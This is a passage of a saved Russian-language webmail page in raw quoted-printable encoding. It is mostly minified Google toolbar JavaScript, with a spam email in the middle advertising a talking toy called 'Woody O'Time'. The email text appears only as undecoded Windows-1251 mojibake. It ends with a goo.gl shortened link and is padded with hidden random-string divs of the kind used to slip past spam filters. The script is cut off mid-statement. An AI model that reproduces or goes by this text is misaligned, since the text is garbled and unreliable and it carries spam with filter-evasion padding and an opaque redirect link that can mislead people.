\u0418\u0432\u0430\u= 043d\u043e\u0432"]]],["ps",0,1,0,0,0,0],["mid","https://plus.","https://a= pis."]],"",,"?ui\x3d2\x26view\x3dbsp\x26ver\x3dohhl4rw8mbn4",[248,1089],1= 355555178097,,[5745,5387,5507,5576,5602,5836,10023,5570,5379,5541,5800,57= 93,5371,5516,5696,5893,5566,5369,10024,5384,5821,5041,5126,5058,5689,1001= 5,5699,5381,5930,5111,5660, 5802,5110,1E4,5641,5192,5579,5574,5499,5421,5749,5001,5390,5078,5237,5309= ,5042,5209,5439,5376,5837,5676,5344,5538,5568,5905,5704,5342,5928,5652,55= 95,5799,10027,5773,5662,5750,5724,5372,5556,5518,5887,10013,10029,5894,58= 65,5790,5646,5380,5500,5815,5866,5020,5805,10025,5747,5702,5526],"lsvjwaj= rtlp4","_40_40__40_","","dcaf",2,"_40_40__40_","https://mail./mail/b/77/u= /0/",,"530.17","4.0","9","0","",1,0,"1209600000","530.17","4.0","9","0","= 1"];GLOBALS[0]=3DGM_START_TIME;var pr=3D0;var lp=3D0; var npc=3D0;function sc(k,v){document.cookie=3Dk+"\x3d"+v+";path\x3d"+GLO= BALS[7]}function onLoadTimeout(){if(ssm)return;if(pr>lp){lp=3Dpr;npc=3D0;= loadTimeout=3DsetTimeout(onLoadTimeout,1E4);return}var d=3Ddocument;npc++= ;if(npc<2){loadTimeout=3DsetTimeout(onLoadTimeout,2E4);return}if(top["_AM= _JS_TIMEOUT"])top["_AM_JS_TIMEOUT"](window,sc,"_SL","rld");ssm=3D1;d.getE= lementById("stb").style.display=3D"none";if(!window._jsl){sc("_CB",GM_STA= RT_TIME);si("jscc")}si("jsle");apsl()} function apsl(){(new Image).src=3D"//clients2./availability/?s\x3d\x26a\x= 3dviewinbox\x26c\x3dsol\x26tm\x3d"+(new Date).getTime()+"\x26zx\x3d1k3jer= cqrw2oh"}function apsc(){(new Image).src=3D"//clients2./availability/?s\x= 3d\x26a\x3dviewinbox\x26c\x3dscs\x26tm\x3d"+(new Date).getTime()+"\x26zx\= x3d91ffjw51nigw"}function si(i){(new Image).src=3D"?ui\x3d2\x26view\x3djs= le\x26ik\x3d"+GLOBALS[9]+"\x26imp\x3d"+i+"\x26val\x3d"+pr+"\x26random\x3d= "+GM_START_TIME} function fp(w){w.focus()}var loadTimeout=3DsetTimeout(onLoadTimeout,1E4);= GLOBALS[1]=3D(new Date).getTime(); </script> <p> <div style=3Ddisplay:none> Hat7pp6H0KImMnC1ljFf </div> </di= v> <div> =D0=E5=E1=E5=ED=EE=EA =E1=F3=E4=E5=F2 =F1=E8=EB=E8=F2=FC=F1=FF =E3= =EE=E2=EE=F0=E8=F2=FC =F2=EE=F7=ED=EE, =EF=EE=E2=F2=EE=F0=FF=F2=FC =F1=F2= =E8=F5=E8 =E8 =EF=E5=F1=E5=ED=EA=E8, =F7=F2=EE=E1=FB =F3=F1=EB=FB=F5=E0=F2= =FC =E8=F5 =EF=EE=F1=EB=E5 =ED=E5=EF=EE=E4=F0=E0=E6=E0=E5=EC=EE=EC =E8=F1= =EF=EE=EB=ED=E5=ED=E8=E8 =E3=F0=FB=E7=F3=ED=E0. </div> <div> =E0 =E5=F9=E5= Woody O'Time =EF=F0=E5=EA=F0=E0=F1=ED=EE =F0=E0=F1=F8=E8=F0=FF=E5=F2 =EA= =EE=EC=EC=F3=ED=E8=EA=E0=F2=E8=E2=ED=FB=E5 =ED=E0=E2=FB=EA=E8 =E8 =F0=E5=F7= =FC. </div> <div> =DD=F2=E0 =E1=E5=E7=E4=E5=EB=F3=F8=EA=E0 =EE=EA=E0=E6=E5= =F2=F1=FF =ED=E0=E8=EB=F3=F7=F8=E8=EC =E4=F0=F3=E3=EE=EC =E4=EB=FF =EC=E0= =EB=FB=F8=E5=E9 =F1=F2=E0=F0=F8=E5 =F2=F0=E5=F5 =EB=E5=F2. </div> <div> =F5= =EE=F0=EE=F8=E8=E9 =F5=EE=EC=FF=F7=EE=EA Woody O'Time =EF=EE=E2=F2=EE=F0=FF= =E5=F2 =ED=E5 =E2=F1=E5=E3=EE =EB=E8=F8=FC =E2=FB=F0=E0=E6=E5=ED=FC=FF, =ED= =EE =E4=E0=E6=E5 =EF=EE=E2=F2=EE=F0=E8=F2 =E8=ED=F2=EE=ED=E0=F6=E8=FE! </= div> <div> =CE=ED =EC=EE=E6=E5=F2 =F0=E0=E7=E2=EB=E5=F7=FC, =EE=F2=E2=EB=E5= =F7=FC =E8 =F3=F1=EF=EE=EA=EE=E8=F2=FC =EC=E0=EB=EE=E3=EE =F0=E5=E1=E5=ED= =EA=E0, =ED=E0=E4=EE=EB=E3=EE =EE=E2=EB=E0=E4=E5=E2=E0=E5=F2 =EB=FE=E1=EE= =EF=FB=F2=F1=F2=E2=EE=EC =F0=E5=E1=FF=F2=E8=F8=E5=EA =EF=EE=F1=F2=E0=F0=F8= =E5, =E0 =E7=F0=E5=EB=FB=F5 =E2=FB=ED=F3=E6=E4=E0=E5=F2 =EF=EE=E7=E0=E1=FB= =F2=FC =EE =EF=F0=EE=E1=EB=E5=EC=E0=F5 =E8 =E2=EE=E7=E2=F0=E0=F9=E0=E5=F2= =EB=E5=E3=EA=EE=EC=FB=F1=EB=E5=ED=ED=EE=E5 =F1=F7=E0=F1=F2=EB=E8=E2=EE=E5= =EC=EB=E0=E4=E5=ED=F7=E5=F1=F2=E2=EE. </div> <div> =CE=ED =E3=EE=E2=EE=F0= =E8=F2 =EA=EE=EC=E8=F7=E5=F1=EA=E8=EC =AB=EC=F3=EB=FC=F2=FF=F8=ED=FB=EC=BB= =E3=EE=EB=EE=F1=E8=F8=EA=EE=E9, =EE=F2=EA=F0=FB=E2=E0=FF =F0=EE=F2 =F1=EE= =EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE =E7=E2=F3=EA=E0=EC. </div> <div> =F2= =E5=F7=E5=ED=E8=E5 6 =F1=E5=EA=F3=ED=E4 =F5=EE=EC=FF=EA =E1=F3=E4=E5=F2 =F4= =E8=EA=F1=E8=F0=EE=E2=E0=F2=FC =E2=E0=F8=F3 =F0=E5=F7=FC, =E0 =EF=EE=F1=EB= =E5 =E0=E2=F2=EE=EC=E0=F2=E8=F7=E5=F1=EA=E8 =E5=E5 =E8=F1=EF=EE=EB=ED=E8=F2= . </div> <a href=3D"http://goo.gl/lsJiRW">http://goo.gl/lsJiRW</a> <br> <= /div> <div> <div style=3Ddisplay:none> 7Ut8gzrC9Ba0U7pb2ZaBxmeKP6Y1A4hxN = </div> </p> </div> <script> x3dgbq1 class\x3d"gbt"\x3e\x3ca class\x3dgbqla href\x3d"#inbox" onclick\x= 3d"gbar.logger.il(39)" title\x3d"\u041f\u043e\u0447\u0442\u0430"\x3e\x3ct= able id\x3dgbqlt\x3e\x3ctr\x3e\x3ctd id\x3dgbqlw class\x3dgbgt\x3e\x3ca c= lass\x3dgbqla2 href\x3d"#inbox" title\x3d"\u041f\u043e\u0447\u0442\u0430"= \x3e\x3cimg id\x3dgbqld class\x3dgbqldr src\x3d//ssl.gstatic.zero/ui/v1/i= cons/mail/logo_default.png alt\x3d"\u041f\u043e\u0447\u0442\u0430" /\x3e\= x3c/a\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3cdiv class\x3dgbqlca\x3e\= x3c/div\x3e\x3c/a\x3e\x3c/div\x3e\x3cdiv id\x3dgbq2 class\x3dgbt\x3e\x3cd= iv id\x3dgbqfw \x3e\x3cform id\x3dgbqf name\x3dgbqf method\x3dget action\= x3d"" onsubmit\x3d"gbar.logger.il(31);"\x3e\x3cfieldset class\x3dgbxx\x3e= \x3clegend class\x3dgbxx\x3e\u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u= 043f\u043e\u043b\u044f\x3c/legend\x3e\x3cdiv id\x3dgbqffd\x3e\x3c/div\x3e= \x3c/fieldset\x3e\x3cfieldset class\x3dgbqff id\x3dgbqff\x3e\x3clegend cl= ass\x3dgbxx\x3e\x3c/legend\x3e\x3cdiv id\x3dgbfwa class\x3d"gbqfwa "\x3e\= x3cdiv id\x3dgbqfqw class\x3dgbqfqw\x3e\x3cdiv id\x3dgbqfaa\x3e\x3c/div\x= 3e\x3cdiv id\x3dgbqfqwb class\x3dgbqfqwb\x3e\x3cinput id\x3dgbqfq class\x= 3dgbqfif name\x3dq type\x3dtext autocomplete\x3doff value\x3d"" \x3e\x3c/= div\x3e\x3cdiv id\x3dgbqfab\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/f= ieldset\x3e\x3cdiv id\x3dgbqfbw\x3e\x3cbutton id\x3dgbqfb aria-label\x3d"= \u041f\u043e\u0438\u0441\u043a \u0432 " class\x3dgbqfb\x3e\x3cspan class\= x3dgbqfi\x3e\x3c/span\x3e\x3c/button\x3e\x3c/div\x3e\x3c/form\x3e\x3c/div= \x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbu\x3e\x3cdiv id\x3dgbvg class= \x3dgbvg\x3e\x3ch2 class\x3dgbxx\x3eAccount Options\x3c/h2\x3e\x3cspan cl= ass\x3dgbtcb\x3e\x3c/span\x3e\x3col class\x3dgbtc\x3e\x3cli class\x3dgbt\= x3e\x3c/li\x3e\x3cli class\x3dgbt guidedhelpid\x3dgbacsw\x3e\x3ca class\x= 3d"gbgt " id\x3dgbg4 href\x3d"https://plus./u/0/me?tab\x3dmX" onclick\x3d= "gbar.tg(event,this)" aria-haspopup\x3dtrue aria-owns\x3dgbd4\x3e\x3cspan= id\x3dgbgs4d\x3e\x3cspan id\x3dgbgs4dn\x3e\x3c/span\x3e\x3cspan class\x3= dgbmai\x3e\x3c/span\x3e\x3cspan class\x3dgbmab\x3e\x3c/span\x3e\x3cspan c= lass\x3dgbmac\x3e\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3cdiv class\x3dgbm= id\x3dgbd4 aria-owner\x3dgbg4\x3e\x3cdiv class\x3dgbmc\x3e\x3cdiv id\x3d= gbmpdv\x3e\x3cdiv class\x3dgbpc\x3e\x3cspan class\x3d"gbps gbpd" id\x3dgb= mpn\x3e\x3c/span\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbmps\x3e\x3cdi= v id\x3dgbmpasb class\x3d\'gbsb gbsbis\'\x3e\x3cdiv id\x3dgbmpas class\x3= dgbsbic\x3e\x3cdiv id\x3dgbmpm_0 class\x3d"gbmtc gbp0"\x3e\x3ca rel\x3dno= referrer target\x3d_blank id\x3dgbmpm_0_l href\x3d"/mail/u/0/" class\x3dg= bmt\x3e\x3cspan class\x3d"gbmpiaw gbxv"\x3e\x3cimg class\x3dgbmpia width\= x3d48 height\x3d48 onerror\x3d"window.gbar\x26\x26gbar.pae?gbar.pae(this)= :this.loadError\x3d1;" data-asrc\x3d"//lh6.usercontent.zero/-M7m5KjEjAj4/= AAAAAAAAAAI/AAAAAAAAAAA/8PwWyiOxwGI/s48-c/photo.jpg" alt\x3d"\u0421\u0435= \u0440\u0433\u0435\u0439 \u0418\u0432\u0430\u043d\u043e\u0432"\x3e\x3c/sp= an\x3e\x3cspan class\x3dgbmpnw\x3e\x3cspan class\x3dgbps\x3e\u0421\u0435\= u0440\u0433\u0435\u0439 \u0418\u0432\u0430\u043d\u043e\u0432\x3c/span\x3e= \x3cspan class\x3dgbps2\x3e\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3c/div\x= 3e\x3c/div\x3e\x3cdiv class\x3dgbsbt\x3e\x3c/div\x3e\x3cdiv class\x3dgbsb= b\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbmppc class\x3d"gbxx gbmtc"\x= 3e\x3ca class\x3dgbmt href\x3d"https://plus./u/0/pages/manage"\x3e\x3cspa= n class\x3dgbmppci\x3e\x3c/span\x3e\u0412\u0441\u0435 \u0432\u0430\u0448\= u0438 +\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \x26rsaquo;\x3c/a= \x3e\x3c/div\x3e\x3c/div\x3e\x3ctable id\x3dgbmpal\x3e\x3ctr\x3e\x3ctd cl= ass\x3dgbmpala\x3e\x3ca target\x3d_blank role\x3dbutton href\x3d"https://= accounts./AddSession?hl\x3dru\x26continue\x3dhttps://mail./mail/b/77/u/0/= \x26service\x3dmail" class\x3dgbqfbb\x3e\u0414\u043e\u0431\u0430\u0432\u0= 438\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442\x3c/a\x3e\x3c/= td\x3e\x3ctd class\x3dgbmpalb\x3e\x3ca target\x3d_top role\x3dbutton id\x= 3dgb_71 onclick\x3d"gbar.logger.il(9,{l:\'o\'})" href\x3d"?logout\x26hl\x= 3dru\x26hlor" class\x3dgbqfbb\x3e\u0412\u044b\u0439\u0442\u0438\x3c/a\x3e= \x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e\x3c/div\x3e\x3c/li\x3e\x= 3cnoscript\x3e\x3cli class\x3dgbt\x3e\x3ca id\x3dgbg7 href\x3d"?logout\x2= 6hl\x3dru\x26hlor" class\x3dgbgt\x3e\x3cspan class\x3dgbgs\x3e\x3cspan cl= ass\x3dgbit\x3e\u0412\u044b\u0439\u0442\u0438\x3c/span\x3e\x3c/span\x3e\x= 3c/a\x3e\x3c/li\x3e\x3c/noscript\x3e\x3c/ol\x3e\x3cdiv id\x3dgbdw\x3e\x3c= /div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbx1 \x3e\x3c/d= iv\x3e\x3cscript\x3ewindow.gbar\x26\x26gbar.elp\x26\x26gbar.elp()\x3c/scr= ipt\x3e\x3c/div\x3e', '(function(){try{var e\x3d!0,h\x3dnull,j\x3d!1;var aa\x3dfunction(a,b,c,d= ){d\x3dd||{};d._sn\x3d["cfg",b,c].join(".");window.gbar.logger.ml(a,d)};v= ar m\x3dwindow.gbar\x3dwindow.gbar||{},p\x3dwindow.gbar.i\x3dwindow.gbar.= i||{},ba;function _tvn(a,b){var c\x3dparseInt(a,10);return isNaN(c)?b:c}f= unction _tvf(a,b){var c\x3dparseFloat(a);return isNaN(c)?b:c}function _tv= v(a){return!!a}function r(a,b,c){(c||m)[a]\x3db}m.bv\x3d{n:_tvn("2",0),r:= "r_gc.r_pw.r_qf.",f:".36.40.40.49.",m:_tvn("2",1)};\nfunction ca(a,b,c){v= ar d\x3d"on"+b;if(a.addEventListener)a.addEventListener(b,c,j);else if(a.= attachEvent)a.attachEvent(d,c);else{var g\x3da[d];a[d]\x3dfunction(){var = a\x3dg.apply(this,arguments),b\x3dc.apply(this,arguments);return void 0\x= 3d\x3da?b:void 0\x3d\x3db?a:b\x26\x26a}}}var da\x3dfunction(a){return fun= ction(){return m.bv.m\x3d\x3da}},ea\x3dda(1),fa\x3dda(2);r("sb",ea);r("kn= ",fa);p.a\x3d_tvv;p.b\x3d_tvf;p.c\x3d_tvn;p.i\x3daa;var s\x3dwindow.gbar.= i.i;var t\x3dfunction(){},u\x3dfunction(){},v\x3dfunction(a){var b\x3dnew= Image,c\x3dga;b.onerror\x3db.onload\x3db.onabort\x3dfunction(){try{delet= e ha[c]}catch(a){}};ha[c]\x3db;b.src\x3da;ga\x3dc+1},ha\x3d[],ga\x3d0;r("= logger",{il:u,ml:t,log:v});var w\x3dwindow.gbar.logger;var x\x3d{},ia\x3d= {},y\x3d[],ja\x3dp.b("0.1",0.1),ka\x3dp.a("1",e),la\x3dfunction(a,b){y.pu= sh([a,b])},ma\x3dfunction(a,b){x[a]\x3db},na\x3dfunction(a){return a in x= },A\x3d{},B\x3dfunction(a,b){A[a]||(A[a]\x3d[]);A[a].push(b)},C\x3dfuncti= on(a){B("m",a)},oa\x3dfunction(a,b){var c\x3ddocument.createElement("scri= pt");c.src\x3da;ka\x26\x26(c.async\x3de);Math.random()\x3cja\x26\x26(c.on= error\x3dfunction(){c.onerror\x3dh;t(Error("Bundle load failed: name\x3d"= +(b||"UNK")+" url\x3d"+a))});(document.getElementById("xjsc")||document.b= ody).appendChild(c)},\nF\x3dfunction(a){for(var b\x3d0,c;(c\x3dy[b])\x26\= x26!(c[0]\x3d\x3da);++b);c\x26\x26!c[1].l\x26\x26!c[1].s\x26\x26(c[1].s\x= 3de,D(2,a),c[1].url\x26\x26oa(c[1].url,a),c[1].libs\x26\x26E\x26\x26E(c[1= ].libs))},pa\x3dfunction(a){B("gc",a)},G\x3dh,qa\x3dfunction(a){G\x3da},D= \x3dfunction(a,b,c){if(G){a\x3d{t:a,b:b};if(c)for(var d in c)a[d]\x3dc[d]= ;try{G(a)}catch(g){}}};r("mdc",x);r("mdi",ia);r("bnc",y);r("qGC",pa);r("q= m",C);r("qd",A);r("lb",F);r("mcf",ma);r("bcf",la);r("aq",B);r("mdd","");r= ("has",na);r("trh",qa);r("tev",D);if(p.a("1")){var H\x3dp.a("1"),ra\x3dp.= a("1"),sa\x3dp.a("1"),ta\x3dwindow.gapi\x3d{},ua\x3dfunction(a,b){var c\x= 3dfunction(){m.dgl(a,b)};H?C(c):(B("gl",c),F("gl"))},va\x3d{},wa\x3dfunct= ion(a){for(var a\x3da.split(":"),b;(b\x3da.pop())\x26\x26va[b];);return!b= },E\x3dfunction(a){function b(){for(var b\x3da.split(":"),d\x3d0,g;g\x3db= [d];++d)va[g]\x3d1;for(b\x3d0;d\x3dy[b];++b)d\x3dd[1],(g\x3dd.libs)\x26\x= 26!d.l\x26\x26d.i\x26\x26wa(g)\x26\x26d.i()}m.dgl(a,b)},I\x3dwindow.___js= l\x3d{};I.h\x3d"m;/_/abc-static/_/js/gapi/__features__/rt\x3dj/ver\x3ds2P= CW8HaZ18.en./sv\x3d1/am\x3d!DKHuO_b7J0GpWxoUgw/d\x3d1";I.ms\x3d"https://a= pis.";\nI.m\x3d"";I.l\x3d[];H||y.push(["gl",{url:"//ssl.gstatic.zero/gb/j= s/abc/glm_e7bb39a7e1a24581ff4f8d199678b1b9.js"}]);var xa\x3d{pu:ra,sh:"",= si:sa};x.gl\x3dxa;r("load",ua,ta);r("dgl",ua);r("agl",wa);p.o\x3dH};var y= a\x3dp.b("0.1",0.001),za\x3d0;\nfunction _mlToken(a,b){try{if(1\x3eza){za= ++;var c,d\x3da,g\x3db||{},f\x3dencodeURIComponent,l\x3d"es_plusone_gc_20= 121207.0_p1",k\x3d["//www./gen_204?atyp\x3di\x26zx\x3d",(new Date).getTim= e(),"\x26jexpid\x3d",f("37102"),"\x26srcpg\x3d",f("prop\x3d23"),"\x26jsr\= x3d",Math.round(1/ya),"\x26ogev\x3d",f("0"),"\x26ogf\x3d",m.bv.f,"\x26ogr= p\x3d",f(""),"\x26ogv\x3d",f("1355368931.1355175420"),l?"\x26oggv\x3d"+f(= l):"","\x26ogd\x3d",f("com"),"\x26ogl\x3d",f("ru")];g._sn\x26\x26(g._sn\x= 3d"og."+\ng._sn);for(var n in g)k.push("\x26"),k.push(f(n)),k.push("\x3d"= ),k.push(f(g[n]));k.push("\x26emsg\x3d");k.push(f(d.name+":"+d.message));= var q\x3dk.join("");Aa(q)\x26\x26(q\x3dq.substr(0,2E3));c\x3dq;var z\x3dw= indow.gbar.logger._aem(a,c);v(z)}}catch(X){}}var Aa\x3dfunction(a){return= 2E3\x3c\x3da.length},Ca\x3dfunction(a,b){return b};function Fa(a){t\x3da= ;r("_itl",Aa,w);r("_aem",Ca,w);r("ml",t,w);a\x3d{};x.er\x3da}p.a("")?Fa(f= unction(a){throw a;}):p.a("1")\x26\x26Math.random()\x3cya\x26\x26Fa(_mlTo= ken);var _E\x3d"left",K\x3dfunction(a,b){var c\x3da.className;J(a,b)||(a.= className+\x3d(""!\x3dc?" ":"")+b)},L\x3dfunction(a,b){var c\x3da.classNa= me,d\x3dRegExp("\\\\s?\\\\b"+b+"\\\\b");c\x26\x26c.match(d)\x26\x26(a.cla= ssName\x3dc.replace(d,""))},J\x3dfunction(a,b){var c\x3dRegExp("\\\\b"+b+= "\\\\b"),d\x3da.className;return!(!d||!d.match(c))},Ga\x3dfunction(a,b){J= (a,b)?L(a,b):K(a,b)};r("ca",K);r("cr",L);r("cc",J);p.k\x3dK;p.l\x3dL;p.m\= x3dJ;p.n\x3dGa;var Ha\x3d["gb_71","gb_155"],M;function Ia(a){M\x3da}funct= ion Ja(a){var b\x3dM\x26\x26!a.href.match(/.*\\/accounts\\/ClearSID[?]/)\= x26\x26encodeURIComponent(M());b\x26\x26(a.href\x3da.href.replace(/([?\x2= 6]continue\x3d)[^\x26]*/,"$1"+b))}function Ka(a){window.gApplication\x26\= x26(a.href\x3dwindow.gApplication.getTabUrl(a.href))}function La(a){try{v= ar b\x3d(document.forms[0].q||"").value;b\x26\x26(a.href\x3da.href.replac= e(/([?\x26])q\x3d[^\x26]*|$/,function(a,c){return(c||"\x26")+"q\x3d"+enco= deURIComponent(b)}))}catch(c){s(c,"sb","pq")}}\nvar Ma\x3dfunction(){for(= var a\x3d[],b\x3d0,c;c\x3dHa[b];++b)(c\x3ddocument.getElementById(c))\x26= \x26a.push(c);return a},Na\x3dfunction(){var a\x3dMa();return 0\x3ca.leng= th?a[0]:h},Oa\x3dfunction(){return document.getElementById("gb_70")},N\x3= d{},O\x3d{},Pa\x3d{},P\x3d{},Q\x3dvoid 0,Ua\x3dfunction(a,b){try{var c\x3= ddocument.getElementById("gb");K(c,"gbpdjs");R();Qa(document.getElementBy= Id("gb"))\x26\x26K(c,"gbrtl");if(b\x26\x26b.getAttribute){var d\x3db.getA= ttribute("aria-owns");if(d.length){var g\x3ddocument.getElementById(d);if= (g){var f\x3db.parentNode;if(Q\x3d\x3dd)Q\x3dvoid 0,\nL(f,"gbto");else{if= (Q){var l\x3ddocument.getElementById(Q);if(l\x26\x26l.getAttribute){var k= \x3dl.getAttribute("aria-owner");if(k.length){var n\x3ddocument.getElemen= tById(k);n\x26\x26n.parentNode\x26\x26L(n.parentNode,"gbto")}}}Ra(g)\x26\= x26Sa(g);Q\x3dd;K(f,"gbto")}}}}C(function(){m.tg(a,b,e)});Ta(a)}catch(q){= s(q,"sb","tg")}},Va\x3dfunction(a){C(function(){m.close(a)})},Wa\x3dfunct= ion(a){C(function(){m.rdd(a)})},Qa\x3dfunction(a){var b,c\x3d"direction",= d\x3ddocument.defaultView;d\x26\x26d.getComputedStyle?(a\x3dd.getComputed= Style(a,""))\x26\x26(b\x3da[c]):b\x3da.currentStyle?\na.currentStyle[c]:a= .style[c];return"rtl"\x3d\x3db},Ya\x3dfunction(a,b,c){if(a)try{var d\x3dd= ocument.getElementById("gbd5");if(d){var g\x3dd.firstChild,f\x3dg.firstCh= ild,l\x3ddocument.createElement("li");l.className\x3db+" gbmtc";l.id\x3dc= ;a.className\x3d"gbmt";l.appendChild(a);if(f.hasChildNodes()){for(var c\x= 3d[["gbkc"],["gbf","gbe","gbn"],["gbkp"],["gbnd"]],d\x3d0,k\x3df.childNod= es.length,g\x3dj,n\x3d-1,q\x3d0,z;z\x3dc[q];q++){for(var X\x3d0,Z;Z\x3dz[= X];X++){for(;d\x3ck\x26\x26J(f.childNodes[d],Z);)d++;if(Z\x3d\x3db){f.ins= ertBefore(l,f.childNodes[d]||h);g\x3de;break}}if(g){if(d+\n1\x3cf.childNo= des.length){var Ba\x3df.childNodes[d+1];!J(Ba.firstChild,"gbmh")\x26\x26!= Xa(Ba,z)\x26\x26(n\x3dd+1)}else if(0\x3c\x3dd-1){var Da\x3df.childNodes[d= -1];!J(Da.firstChild,"gbmh")\x26\x26!Xa(Da,z)\x26\x26(n\x3dd)}break}0\x3c= d\x26\x26d+1\x3ck\x26\x26d++}if(0\x3c\x3dn){var $\x3ddocument.createEleme= nt("li"),Ea\x3ddocument.createElement("div");$.className\x3d"gbmtc";Ea.cl= assName\x3d"gbmt gbmh";$.appendChild(Ea);f.insertBefore($,f.childNodes[n]= )}m.addHover\x26\x26m.addHover(a)}else f.appendChild(l)}}catch(ub){s(ub,"= sb","al")}},Xa\x3dfunction(a,b){for(var c\x3db.length,d\x3d0;d\x3cc;d++)i= f(J(a,\nb[d]))return e;return j},Za\x3dfunction(a,b,c){Ya(a,b,c)},$a\x3df= unction(a,b){Ya(a,"gbe",b)},ab\x3dfunction(){C(function(){m.pcm\x26\x26m.= pcm()})},bb\x3dfunction(){C(function(){m.pca\x26\x26m.pca()})},cb\x3dfunc= tion(a,b,c,d,g,f,l,k,n,q){C(function(){m.paa\x26\x26m.paa(a,b,c,d,g,f,l,k= ,n,q)})},db\x3dfunction(a,b){N[a]||(N[a]\x3d[]);N[a].push(b)},eb\x3dfunct= ion(a,b){O[a]||(O[a]\x3d[]);O[a].push(b)},fb\x3dfunction(a,b){Pa[a]\x3db}= ,gb\x3dfunction(a,b){P[a]||(P[a]\x3d[]);P[a].push(b)},Ta\x3dfunction(a){a= .preventDefault\x26\x26a.preventDefault();a.returnValue\x3dj;a.cancelBubb= le\x3d\ne},hb\x3dh,Sa\x3dfunction(a,b){R();if(a){ib(a,"\u041e\u0442\u043a= \u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f\x26hellip;");S(a,e);var = c\x3d"undefined"!\x3dtypeof b?b:1E4,d\x3dfunction(){jb(a)};hb\x3dwindow.s= etTimeout(d,c)}},kb\x3dfunction(a){R();a\x26\x26(S(a,j),ib(a,""))},jb\x3d= function(a){try{R();var b\x3da||document.getElementById(Q);b\x26\x26(ib(b= ,"\u0421\u043b\u0443\u0436\u0431\u0430 \u0432\u0440\u0435\u043c\u0435\u04= 3d\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u04= 30.%1$s\u041f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u0435 \u043f\u043= e\u043f\u044b\u0442\u043a\u0443 \u043f\u043e\u0437\u0436\u0435.","%1$s"),= S(b,e))}catch(c){s(c,"sb","sdhe")}},ib\x3dfunction(a,b,c){if(a\x26\x26b){= var d\x3dRa(a);if(d){if(c){d.innerHTML\x3d"";for(var b\x3db.split(c),c\x3= d0,g;g\x3db[c];c++){var f\x3ddocument.createElement("div");f.innerHTML\x3= dg;\nd.appendChild(f)}}else d.innerHTML\x3db;S(a,e)}}},S\x3dfunction(a,b)= {var c\x3dvoid 0!\x3d\x3db?b:e;c?K(a,"gbmsgo"):L(a,"gbmsgo")},Ra\x3dfunct= ion(a){for(var b\x3d0,c;c\x3da.childNodes[b];b++)if(J(c,"gbmsg"))return c= },R\x3dfunction(){hb\x26\x26window.clearTimeout(hb)},lb\x3dfunction(a){va= r b\x3d"inner"+a,a\x3d"offset"+a;return window[b]?window[b]:document.docu= mentElement\x26\x26document.documentElement[a]?document.documentElement[a= ]:0},mb\x3dfunction(){return j};r("so",Na);r("sos",Ma);r("si",Oa);r("tg",= Ua);r("close",Va);r("rdd",Wa);r("addLink",Za);\nr("addExtraLink",$a);r("p= cm",ab);r("pca",bb);r("paa",cb);r("ddld",Sa);r("ddrd",kb);r("dderr",jb);r= ("rtl",Qa);r("bh",N);r("abh",db);r("dh",O);r("adh",eb);r("ch",P);r("ach",= gb);r("eh",Pa);r("aeh",fb);ba\x3dp.a("")?Ka:La;r("qs",ba);r("setContinueC= b",Ia);r("pc",Ja);r("bsy",mb);p.d\x3dTa;p.j\x3dlb;var nb\x3d{};x.base\x3d= nb;y.push(["m",{url:"//ssl.gstatic.zero/gb/js/sem_ed35661c44475f40fb4757a= 96e001aae.js"}]);m.sg\x3d{c:""};r("wg",{rg:{}});var ob\x3d{tiw:p.c("15000= ",0),tie:p.c("30000",0)};x.wg\x3dob;var pb\x3d{thi:p.c("10000",0),thp:p.c= ("180000",0),tho:p.c("5000",0),tet:p.b("0.5",0)};x.wm\x3dpb;if(p.a("1")){= var qb\x3dp.a("");y.push(["gc",{auto:qb,url:"//ssl.gstatic.zero/gb/js/abc= /gci_91f30755d6a6b787dcc2a4062e6e9824.js",libs:"apis.client:plusone"}]);v= ar rb\x3d{version:"gci_91f30755d6a6b787dcc2a4062e6e9824.js",index:"0",lan= g:"ru"};x.gc\x3drb;var sb\x3dfunction(a){window.apis\x26\x26window.iframe= s?a\x26\x26a():(a\x26\x26pa(a),F("gc"))};r("lGC",sb);p.a("1")\x26\x26r("l= PWF",sb)};window.__PVT\x3d"APfa0bq-WSs3z71ljd-NAYS0mI83H7TqryQnHrhrxC4FOW= W4iYCGSuo22tHW-Av1BWIvBkJPxZyb1-p7Vvh9bwBJcLwx_KA1oQ\x3d\x3d";if(p.a("1")= \x26\x26p.a("1")){var tb\x3dfunction(a){sb(function(){B("pw",a);F("pw")})= };r("lPW",tb);y.push(["pw",{url:"//ssl.gstatic.zero/gb/js/abc/pwm_45f73e4= df07a0e388b0fa1f3d30e7280.js"}]);var vb\x3d[],wb\x3dfunction(a){vb[0]\x3d= a},xb\x3dfunction(a,b){var c\x3db||{};c._sn\x3d"pw";t(a,c)},yb\x3d{signed= :vb,elog:xb,base:"https://plusone./u/0",loadTime:(new Date).getTime()};x.= pw\x3dyb;var zb\x3dfunction(a,b){for(var c\x3db.split("."),d\x3dfunction(= ){var b\x3darguments;a(function(){for(var a\x3dm,d\x3d0,f\x3dc.length-1;d= \x3cf;++d)a\x3da[c[d]];a[c[d]].apply(a,b)})},g\x3dm,f\x3d0,l\x3dc.length-= \n1;f\x3cl;++f)g\x3dg[c[f]]\x3dg[c[f]]||{};return g[c[f]]\x3dd};zb(tb,"pw= .clk");zb(tb,"pw.hvr");r("su",wb,m.pw)};var Ab\x3d[1,2,3,4,5,6,9,10,11,13= ,14,28,29,30,34,35,37,38,39,40,41,42,43,500];var Bb\x3dp.b("0.001",1.0E-4= ),Cb\x3dp.b("0.01",1),Db\x3dj,Eb\x3dj;if(p.a("1")){var Fb\x3dMath.random(= 